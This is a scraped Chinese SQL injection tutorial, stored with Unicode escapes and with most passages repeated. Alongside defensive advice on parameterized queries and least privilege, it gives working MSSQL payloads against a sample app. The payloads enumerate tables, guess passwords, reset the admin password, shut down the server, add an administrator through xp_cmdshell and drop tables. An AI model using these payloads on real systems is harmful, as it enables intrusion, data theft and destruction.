攻击方式学习之SQL注入(SQL Injection)第1/3页
{"3":"
\u63a2\u6d4b
\u975e\u5e38\u7b80\u5355\uff0c\u8f93\u5165\u4e00\u4e2a\u5355\u5f15\u53f7(')\uff0c\u770b\u9875\u9762\u662f\u5426\u51fa\u9519\uff0c\u8981\u662f\u9875\u9762\u51fa\u9519\u4e86\uff0c\u800c\u4e14\u53c8\u5c06\u9519\u8bef\u4fe1\u606f\u66b4\u9732\u7ed9\u4f60\u4e86\u90a3\u5c31\u592a\u597d\u4e86\u3002
\u4ece\u9519\u8bef\u4fe1\u606f\u4e2d\u89c2\u5bdf\u786e\u5b9a\u662f\u54ea\u79cd\u6570\u636e\u5e93\uff0c\u6bd4\u5982Access\uff0cSQL Server\u7b49\u3002\u4e0d\u540c\u6570\u636e\u5e93\u7684SQL\u8bed\u53e5\u6709\u4e9b\u5dee\u522b
\u9759\u6001\u4ee3\u7801\u5206\u6790\uff0c\u4ece\u4ee3\u7801\u4e2d\u68c0\u67e5SQL\u8bed\u53e5\u662f\u5426\u662f\u7531\u5b57\u7b26\u4e32\u62fc\u63a5\u800c\u6210\u3002
\u5b9e\u65bd\u65b9\u5f0f
\u8be6\u89c1\u793a\u4f8b\u7f51\u7ad9
\u5371\u5bb3
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\u76d7\u53d6\u6027\u7684\uff0c\u76d7\u53d6\u4e86\u6570\u636e\u5e93\u4e2d\u7684\u673a\u5bc6\u4fe1\u606f\uff0c\u8c0b\u53d6\u79c1\u5229\u6216\u5176\u4ed6\u3002
\u7834\u574f\u6027\u7684\uff0c\u76f4\u63a5\u7834\u574f\u6570\u636e\u5e93\u3002
\u4fee\u6539\u6027\u7684\uff0c\u7be1\u6539\u6570\u636e\uff0c\u6bd4\u5982\u901a\u8fc7\u5927\u5b66\u6210\u7ee9\u67e5\u8be2\u4fee\u6539\u6210\u7ee9\u3002
\u6211\u4e5f\u6ca1\u5e72\u8fc7\uff0c\u60f3\u4e0d\u51fa\u6765\u4e86\u3002
\u9632\u8303
\u5728\u793a\u4f8b\u4e2d\u4e5f\u8bf4\u660e\u4e86\u5982\u4f55\u9632\u8303\uff0c\u5728\u8fd9\u91cc\u518d\u7cbe\u70bc\u4e00\u4e0b\u6240\u8c13\u7684\u9632\u6b62SQL\u6ce8\u5165\u56db\u5927\u6cd5\u5b9d\uff1a
\u6700\u5c0f\u6743\u9650\u539f\u5219
\u7279\u522b\u662f\u4e0d\u8981\u7528dbo\u6216\u8005sa\u8d26\u6237\uff0c\u4e3a\u4e0d\u540c\u7684\u7c7b\u578b\u7684\u52a8\u4f5c\u6216\u8005\u7ec4\u5efa\u4f7f\u7528\u4e0d\u540c\u7684\u8d26\u6237\uff0c\u6700\u5c0f\u6743\u9650\u539f\u5219\u9002\u7528\u4e8e\u6240\u6709\u4e0e\u5b89\u5168\u6709\u5173\u7684\u573a\u5408\u3002
\u5728\u670d\u52a1\u5668\u7aef\u5bf9\u7528\u6237\u8f93\u5165\u8fdb\u884c\u8fc7\u6ee4
\u6211 \u4eec\u8981\u5bf9\u4e00\u4e9b\u7279\u6b8a\u5b57\u7b26\uff0c\u6bd4\u5982\u5355\u5f15\u53f7\uff0c\u53cc\u5f15\u53f7\uff0c\u5206\u53f7\uff0c\u9017\u53f7\uff0c\u5192\u53f7\uff0c\u8fde\u63a5\u53f7\u7b49\u8fdb\u884c\u8f6c\u6362\u6216\u8005\u8fc7\u6ee4\uff1b\u4f7f\u7528\u5f3a\u6570\u636e\u7c7b\u578b\uff0c\u6bd4\u5982\u4f60\u9700\u8981\u7528\u6237\u8f93\u5165\u4e00\u4e2a\u6574\u6570\uff0c\u5c31\u8981\u628a\u7528\u6237\u8f93\u5165\u7684 \u6570\u636e\u8f6c\u6362\u6210\u6574\u6570\u5f62\u5f0f\uff1b\u9650\u5236\u7528\u6237\u8f93\u5165\u7684\u957f\u5ea6\u7b49\u7b49\u3002\u8fd9\u4e9b\u68c0\u67e5\u8981\u653e\u5728server\u8fd0\u884c\uff0cclient\u63d0\u4ea4\u7684\u4efb\u4f55\u4e1c\u897f\u90fd\u662f\u4e0d\u53ef\u4fe1\u7684\u3002
\u4ee5\u5b89\u5168\u7684\u65b9\u5f0f\u521b\u5efaSQL\u8bed\u53e5
\u4e0d\u8981\u518d\u7528\u4e07\u6076\u7684\u5b57\u7b26\u4e32\u62fc\u63a5SQL\u8bed\u53e5\u4e86\uff0c\u4f7f\u7528Parameter\u5bf9\u8c61\u5427\uff0c\u6bd4\u5982C#\u4e2d\u7684\uff1a
\u63a2\u6d4b
\u975e\u5e38\u7b80\u5355\uff0c\u8f93\u5165\u4e00\u4e2a\u5355\u5f15\u53f7(')\uff0c\u770b\u9875\u9762\u662f\u5426\u51fa\u9519\uff0c\u8981\u662f\u9875\u9762\u51fa\u9519\u4e86\uff0c\u800c\u4e14\u53c8\u5c06\u9519\u8bef\u4fe1\u606f\u66b4\u9732\u7ed9\u4f60\u4e86\u90a3\u5c31\u592a\u597d\u4e86\u3002
\u4ece\u9519\u8bef\u4fe1\u606f\u4e2d\u89c2\u5bdf\u786e\u5b9a\u662f\u54ea\u79cd\u6570\u636e\u5e93\uff0c\u6bd4\u5982Access\uff0cSQL Server\u7b49\u3002\u4e0d\u540c\u6570\u636e\u5e93\u7684SQL\u8bed\u53e5\u6709\u4e9b\u5dee\u522b
\u9759\u6001\u4ee3\u7801\u5206\u6790\uff0c\u4ece\u4ee3\u7801\u4e2d\u68c0\u67e5SQL\u8bed\u53e5\u662f\u5426\u662f\u7531\u5b57\u7b26\u4e32\u62fc\u63a5\u800c\u6210\u3002
\u5b9e\u65bd\u65b9\u5f0f
\u8be6\u89c1\u793a\u4f8b\u7f51\u7ad9
\u5371\u5bb3
\u53d8\u6001\u6027\u7684\uff0c\u670d\u52a1\u5668\u88ab\u8fdc\u7a0b\u63a7\u5236\uff0c\u60f3\u5e72\u561b\u5e72\u561b\u3002
\u76d7\u53d6\u6027\u7684\uff0c\u76d7\u53d6\u4e86\u6570\u636e\u5e93\u4e2d\u7684\u673a\u5bc6\u4fe1\u606f\uff0c\u8c0b\u53d6\u79c1\u5229\u6216\u5176\u4ed6\u3002
\u7834\u574f\u6027\u7684\uff0c\u76f4\u63a5\u7834\u574f\u6570\u636e\u5e93\u3002
\u4fee\u6539\u6027\u7684\uff0c\u7be1\u6539\u6570\u636e\uff0c\u6bd4\u5982\u901a\u8fc7\u5927\u5b66\u6210\u7ee9\u67e5\u8be2\u4fee\u6539\u6210\u7ee9\u3002
\u6211\u4e5f\u6ca1\u5e72\u8fc7\uff0c\u60f3\u4e0d\u51fa\u6765\u4e86\u3002
\u9632\u8303
\u5728\u793a\u4f8b\u4e2d\u4e5f\u8bf4\u660e\u4e86\u5982\u4f55\u9632\u8303\uff0c\u5728\u8fd9\u91cc\u518d\u7cbe\u70bc\u4e00\u4e0b\u6240\u8c13\u7684\u9632\u6b62SQL\u6ce8\u5165\u56db\u5927\u6cd5\u5b9d\uff1a
\u6700\u5c0f\u6743\u9650\u539f\u5219
\u7279\u522b\u662f\u4e0d\u8981\u7528dbo\u6216\u8005sa\u8d26\u6237\uff0c\u4e3a\u4e0d\u540c\u7684\u7c7b\u578b\u7684\u52a8\u4f5c\u6216\u8005\u7ec4\u5efa\u4f7f\u7528\u4e0d\u540c\u7684\u8d26\u6237\uff0c\u6700\u5c0f\u6743\u9650\u539f\u5219\u9002\u7528\u4e8e\u6240\u6709\u4e0e\u5b89\u5168\u6709\u5173\u7684\u573a\u5408\u3002
\u5728\u670d\u52a1\u5668\u7aef\u5bf9\u7528\u6237\u8f93\u5165\u8fdb\u884c\u8fc7\u6ee4
\u6211 \u4eec\u8981\u5bf9\u4e00\u4e9b\u7279\u6b8a\u5b57\u7b26\uff0c\u6bd4\u5982\u5355\u5f15\u53f7\uff0c\u53cc\u5f15\u53f7\uff0c\u5206\u53f7\uff0c\u9017\u53f7\uff0c\u5192\u53f7\uff0c\u8fde\u63a5\u53f7\u7b49\u8fdb\u884c\u8f6c\u6362\u6216\u8005\u8fc7\u6ee4\uff1b\u4f7f\u7528\u5f3a\u6570\u636e\u7c7b\u578b\uff0c\u6bd4\u5982\u4f60\u9700\u8981\u7528\u6237\u8f93\u5165\u4e00\u4e2a\u6574\u6570\uff0c\u5c31\u8981\u628a\u7528\u6237\u8f93\u5165\u7684 \u6570\u636e\u8f6c\u6362\u6210\u6574\u6570\u5f62\u5f0f\uff1b\u9650\u5236\u7528\u6237\u8f93\u5165\u7684\u957f\u5ea6\u7b49\u7b49\u3002\u8fd9\u4e9b\u68c0\u67e5\u8981\u653e\u5728server\u8fd0\u884c\uff0cclient\u63d0\u4ea4\u7684\u4efb\u4f55\u4e1c\u897f\u90fd\u662f\u4e0d\u53ef\u4fe1\u7684\u3002
\u4ee5\u5b89\u5168\u7684\u65b9\u5f0f\u521b\u5efaSQL\u8bed\u53e5
\u4e0d\u8981\u518d\u7528\u4e07\u6076\u7684\u5b57\u7b26\u4e32\u62fc\u63a5SQL\u8bed\u53e5\u4e86\uff0c\u4f7f\u7528Parameter\u5bf9\u8c61\u5427\uff0c\u6bd4\u5982C#\u4e2d\u7684\uff1a
\n\u590d\u5236\u4ee3\u7801<\/u><\/a><\/span> \u4ee3\u7801\u5982\u4e0b:<\/div>\n
\n
string sqlText = \"select * from [Users] where UserName = @Name\";
SqlParameter nameParm = new SqlParameter(\"Name\", uname);
sqlCmd.CommandText = sqlText;
sqlCmd.Parameters.Add(nameParm);
\n<\/div>\n
\u9519\u8bef\u4fe1\u606f\u4e0d\u8981\u66b4\u9732\u7ed9\u7528\u6237
\u5f53sql\u8fd0\u884c\u51fa\u9519\u65f6\uff0c\u4e0d\u8981\u628a\u6570\u636e\u5e93\u8fd4\u56de\u7684\u9519\u8bef\u4fe1\u606f\u5168\u90e8\u663e\u793a\u7ed9\u7528\u6237\uff0c\u9519\u8bef\u4fe1\u606f\u7ecf\u5e38\u4f1a\u900f\u9732\u4e00\u4e9b\u6570\u636e\u5e93\u8bbe\u8ba1\u7684\u7ec6\u8282\u3002
\u7279\u522b\u6ce8\u610f\uff1a\u4e5f\u8bb8\u6709\u5f88\u591a\u4eba\u544a\u8bc9\u8fc7\u4f60\u4f7f\u7528\u5b58\u50a8\u8fc7\u7a0b\u80fd\u514d\u53d7SQL\u6ce8\u5165\u653b\u51fb\u3002\u8fd9\u662f\u9519\u7684\uff01\u8fd9\u53ea\u80fd\u963b\u6b62\u67d0\u4e9b\u79cd\u7c7b\u7684\u653b\u51fb\u3002\u6bd4\u5982\u5b58\u5728sp_GetName\u5b58\u50a8\u8fc7\u7a0b\uff0c\u6211\u4eec\u7684\u4ee3\u7801\u5982\u4e0b\uff1a
string sqlText = \"select * from [Users] where UserName = @Name\";
SqlParameter nameParm = new SqlParameter(\"Name\", uname);
sqlCmd.CommandText = sqlText;
sqlCmd.Parameters.Add(nameParm);
\n<\/div>\n
\u9519\u8bef\u4fe1\u606f\u4e0d\u8981\u66b4\u9732\u7ed9\u7528\u6237
\u5f53sql\u8fd0\u884c\u51fa\u9519\u65f6\uff0c\u4e0d\u8981\u628a\u6570\u636e\u5e93\u8fd4\u56de\u7684\u9519\u8bef\u4fe1\u606f\u5168\u90e8\u663e\u793a\u7ed9\u7528\u6237\uff0c\u9519\u8bef\u4fe1\u606f\u7ecf\u5e38\u4f1a\u900f\u9732\u4e00\u4e9b\u6570\u636e\u5e93\u8bbe\u8ba1\u7684\u7ec6\u8282\u3002
\u7279\u522b\u6ce8\u610f\uff1a\u4e5f\u8bb8\u6709\u5f88\u591a\u4eba\u544a\u8bc9\u8fc7\u4f60\u4f7f\u7528\u5b58\u50a8\u8fc7\u7a0b\u80fd\u514d\u53d7SQL\u6ce8\u5165\u653b\u51fb\u3002\u8fd9\u662f\u9519\u7684\uff01\u8fd9\u53ea\u80fd\u963b\u6b62\u67d0\u4e9b\u79cd\u7c7b\u7684\u653b\u51fb\u3002\u6bd4\u5982\u5b58\u5728sp_GetName\u5b58\u50a8\u8fc7\u7a0b\uff0c\u6211\u4eec\u7684\u4ee3\u7801\u5982\u4e0b\uff1a
\n\u590d\u5236\u4ee3\u7801<\/u><\/a><\/span> \u4ee3\u7801\u5982\u4e0b:<\/div>\n
\n
string name = ...; \/\/name from user
SqlConnection conn = new SqlConnection(...);
conn.Open();
string sqlString = @\"exec sp_GetName '\" + name + \"'\";
SqlCommand cmd = new SqlCommand(sqlString, conn);
\n<\/div>\n
\u6211\u4eec\u8bd5\u56fe\u8f93\u5165\"Black' or 1=1 --\"\u5c06\u4f1a\u5931\u8d25\uff0c\u4f46\u4e0b\u9762\u7684\u64cd\u4f5c\u5374\u662f\u5408\u6cd5\u7684\uff1a
exec sp_GetName 'Black' insert into Users values(2008, 'Green') -- '
\u53c2\u8003\u8d44\u6599
Michael Howard, David LeBlanc. \"Writing Secure Code\"
Mike Andrews, James A. Whittaker \"How to Break Web Software\"
http:\/\/www.secnumen.com\/technology\/anquanwenzhai.htm
string name = ...; \/\/name from user
SqlConnection conn = new SqlConnection(...);
conn.Open();
string sqlString = @\"exec sp_GetName '\" + name + \"'\";
SqlCommand cmd = new SqlCommand(sqlString, conn);
\n<\/div>\n
\u6211\u4eec\u8bd5\u56fe\u8f93\u5165\"Black' or 1=1 --\"\u5c06\u4f1a\u5931\u8d25\uff0c\u4f46\u4e0b\u9762\u7684\u64cd\u4f5c\u5374\u662f\u5408\u6cd5\u7684\uff1a
exec sp_GetName 'Black' insert into Users values(2008, 'Green') -- '
\u53c2\u8003\u8d44\u6599
Michael Howard, David LeBlanc. \"Writing Secure Code\"
Mike Andrews, James A. Whittaker \"How to Break Web Software\"
http:\/\/www.secnumen.com\/technology\/anquanwenzhai.htm
\n\u4e0a\u4e00\u9875<\/a>1<\/a>2<\/a>3<\/strong>\u9605\u8bfb\u5168\u6587<\/a>\n<\/div>","2":"
\u8be6\u7ec6\u5177\u4f53\u7684\u6ce8\u5165\u65b9\u6cd5\u5c31\u4e0d\u4e00\u4e00\u4ecb\u7ecd\u4e86\uff0c\u6b22\u8fce\u4e0b\u8f7d\u8be5\u793a\u4f8b\u7a0b\u5e8f\u8fdb\u884c\u5b9e\u6218\u6f14\u7ec3\uff0c\u70b9\u51fb\u754c\u9762\u7684\u201c\u6ce8\u5165\u6307\u5357\u201d\u6709\u8be6\u7ec6\u7684\u6ce8\u5165\u8bf4\u660e\uff1a
\u8be6\u7ec6\u5177\u4f53\u7684\u6ce8\u5165\u65b9\u6cd5\u5c31\u4e0d\u4e00\u4e00\u4ecb\u7ecd\u4e86\uff0c\u6b22\u8fce\u4e0b\u8f7d\u8be5\u793a\u4f8b\u7a0b\u5e8f\u8fdb\u884c\u5b9e\u6218\u6f14\u7ec3\uff0c\u70b9\u51fb\u754c\u9762\u7684\u201c\u6ce8\u5165\u6307\u5357\u201d\u6709\u8be6\u7ec6\u7684\u6ce8\u5165\u8bf4\u660e\uff1a
\n\u590d\u5236\u4ee3\u7801<\/u><\/a><\/span> \u4ee3\u7801\u5982\u4e0b:<\/div>\n
\n
1. \u8bd5\u63a2\u662f\u5426\u80fd\u591f\u6ce8\u5165
'
2. \u8bd5\u63a2\u7ba1\u7406\u5458\u7528\u6237\u540d
XXX
3. \u731c\u8868\u540d
admin'or 0>(select count(*) from [XXX]) --
\u66f4\u72e0\u7684\u65b9\u6cd5\u76f4\u63a5\u53d6\u8868\u540d\uff1a
admin' and (Select Top 1 name from sysobjects where xtype='U')>0 --
4. \u731c\u5217\u540d
admin'and 0< (select count(XXX) from [Users]) --
\u518d\u6765\u72e0\u7684\u53d6\u5217\u540d\uff1a
admin' and (Select top 1 col_name(object_id('Users'), 3) from [Users])>0 --
5. \u731c\u5bc6\u7801\u957f\u5ea6
admin'and 1=(select count(*) from [Users] where len(Password)<XXX) --
6. \u731c\u5bc6\u7801
admin'and 1=(select count(*) from [Users] where left(Password,2)='XX') --
----------------------------------------------------------------------------------------------
\u5728\u63a2\u6d4b\u51fa\u4e86\u8868\u540d\u548c\u5217\u8868\u7684\u65f6\u5019\uff0c\u53ef\u4ee5\u4f7f\u7528\u7ec8\u6781\u6b66\u5668\uff0c\u76f4\u63a5\u4fee\u6539admin\u7684\u5bc6\u7801\uff0c\u6216\u8005\u505a\u66f4\u52a0\u6076\u52a3\u7684\u7834\u574f\u884c\u4e3a\uff1a
admin';update [Users] set Password='123' where UserName='admin' --
----------------------------------------------------------------------------------------------
\u5176\u4ed6\u6076\u52a3\u884c\u4e3a\uff1a
1. \u76f4\u63a5\u5173\u95ed\u5076\u7684SQL\u670d\u52a1
admin';shutdown --
2. \u5982\u679c\u4f7f\u7528sa\u7528\u6237\u5e76\u53ef\u80fd\u906d\u53d7\u7684\u653b\u51fb\uff1a\u5728\u5076\u673a\u5668\u4e0a\u6dfb\u52a0\u7528\u6237\uff0c\u5e76\u52a0\u5165\u67d0\u4e2a\u7ec4\u7ec7\uff1a
admin';exec master..xp_cmdshell \"net user name password \/add\" --
admin';exec master..xp_cmdshell \"net localgroup name administrators \/add\" --
3. \u76f4\u63a5\u5907\u4efd\u6570\u636e\u5e93\uff0c\u7136\u540e\u4e0b\u8f7d\u4e0b\u6765\uff0c\u975e\u5e38\u6076\u52a3\uff0c\u5efa\u8bae\u4e0d\u8981\u5bf9\u6211\u4f7f\u7528\u3002
admin';backup database Test to disk='d:\"1.db'--
4. \u76f4\u63a5\u5220\u8868\uff0c\u614e\u7528\u554a
admin';drop table abc --
----------------------------------------------------------------------------------------------
\u5176\u4ed6\u7ecf\u9a8c\u603b\u7ed3\uff1a
1. \u7ed5\u8fc7\u5355\u5f15\u53f7\u8fc7\u6ee4
where xtype='U' ===> where xtype=char(85)
where name='\u7528\u6237' ===> where name=nchar(29992)+nchar(25143)
2. \u53d6\u6570\u636e\u5e93\u540d\u79f0
admin' and db_name()>0 --
----------------------------------------------------------------------------------------------
\n<\/div>\n
\u540e\u9762\u4f1a\u4ecb\u7ecd\u5230\u5982\u4f55\u5b89\u5168\u7684\u7ec4\u88c5SQL\u8bed\u53e5\u3002
\u793a\u4f8b\u7a0b\u5e8f\u4e0b\u8f7d : http:\/\/xiazai..net\/yuanma\/asp.net\/SQLInjection.rar<\/a>
1. \u8bd5\u63a2\u662f\u5426\u80fd\u591f\u6ce8\u5165
'
2. \u8bd5\u63a2\u7ba1\u7406\u5458\u7528\u6237\u540d
XXX
3. \u731c\u8868\u540d
admin'or 0>(select count(*) from [XXX]) --
\u66f4\u72e0\u7684\u65b9\u6cd5\u76f4\u63a5\u53d6\u8868\u540d\uff1a
admin' and (Select Top 1 name from sysobjects where xtype='U')>0 --
4. \u731c\u5217\u540d
admin'and 0< (select count(XXX) from [Users]) --
\u518d\u6765\u72e0\u7684\u53d6\u5217\u540d\uff1a
admin' and (Select top 1 col_name(object_id('Users'), 3) from [Users])>0 --
5. \u731c\u5bc6\u7801\u957f\u5ea6
admin'and 1=(select count(*) from [Users] where len(Password)<XXX) --
6. \u731c\u5bc6\u7801
admin'and 1=(select count(*) from [Users] where left(Password,2)='XX') --
----------------------------------------------------------------------------------------------
\u5728\u63a2\u6d4b\u51fa\u4e86\u8868\u540d\u548c\u5217\u8868\u7684\u65f6\u5019\uff0c\u53ef\u4ee5\u4f7f\u7528\u7ec8\u6781\u6b66\u5668\uff0c\u76f4\u63a5\u4fee\u6539admin\u7684\u5bc6\u7801\uff0c\u6216\u8005\u505a\u66f4\u52a0\u6076\u52a3\u7684\u7834\u574f\u884c\u4e3a\uff1a
admin';update [Users] set Password='123' where UserName='admin' --
----------------------------------------------------------------------------------------------
\u5176\u4ed6\u6076\u52a3\u884c\u4e3a\uff1a
1. \u76f4\u63a5\u5173\u95ed\u5076\u7684SQL\u670d\u52a1
admin';shutdown --
2. \u5982\u679c\u4f7f\u7528sa\u7528\u6237\u5e76\u53ef\u80fd\u906d\u53d7\u7684\u653b\u51fb\uff1a\u5728\u5076\u673a\u5668\u4e0a\u6dfb\u52a0\u7528\u6237\uff0c\u5e76\u52a0\u5165\u67d0\u4e2a\u7ec4\u7ec7\uff1a
admin';exec master..xp_cmdshell \"net user name password \/add\" --
admin';exec master..xp_cmdshell \"net localgroup name administrators \/add\" --
3. \u76f4\u63a5\u5907\u4efd\u6570\u636e\u5e93\uff0c\u7136\u540e\u4e0b\u8f7d\u4e0b\u6765\uff0c\u975e\u5e38\u6076\u52a3\uff0c\u5efa\u8bae\u4e0d\u8981\u5bf9\u6211\u4f7f\u7528\u3002
admin';backup database Test to disk='d:\"1.db'--
4. \u76f4\u63a5\u5220\u8868\uff0c\u614e\u7528\u554a
admin';drop table abc --
----------------------------------------------------------------------------------------------
\u5176\u4ed6\u7ecf\u9a8c\u603b\u7ed3\uff1a
1. \u7ed5\u8fc7\u5355\u5f15\u53f7\u8fc7\u6ee4
where xtype='U' ===> where xtype=char(85)
where name='\u7528\u6237' ===> where name=nchar(29992)+nchar(25143)
2. \u53d6\u6570\u636e\u5e93\u540d\u79f0
admin' and db_name()>0 --
----------------------------------------------------------------------------------------------
\n<\/div>\n
\u540e\u9762\u4f1a\u4ecb\u7ecd\u5230\u5982\u4f55\u5b89\u5168\u7684\u7ec4\u88c5SQL\u8bed\u53e5\u3002
\u793a\u4f8b\u7a0b\u5e8f\u4e0b\u8f7d : http:\/\/xiazai..net\/yuanma\/asp.net\/SQLInjection.rar<\/a>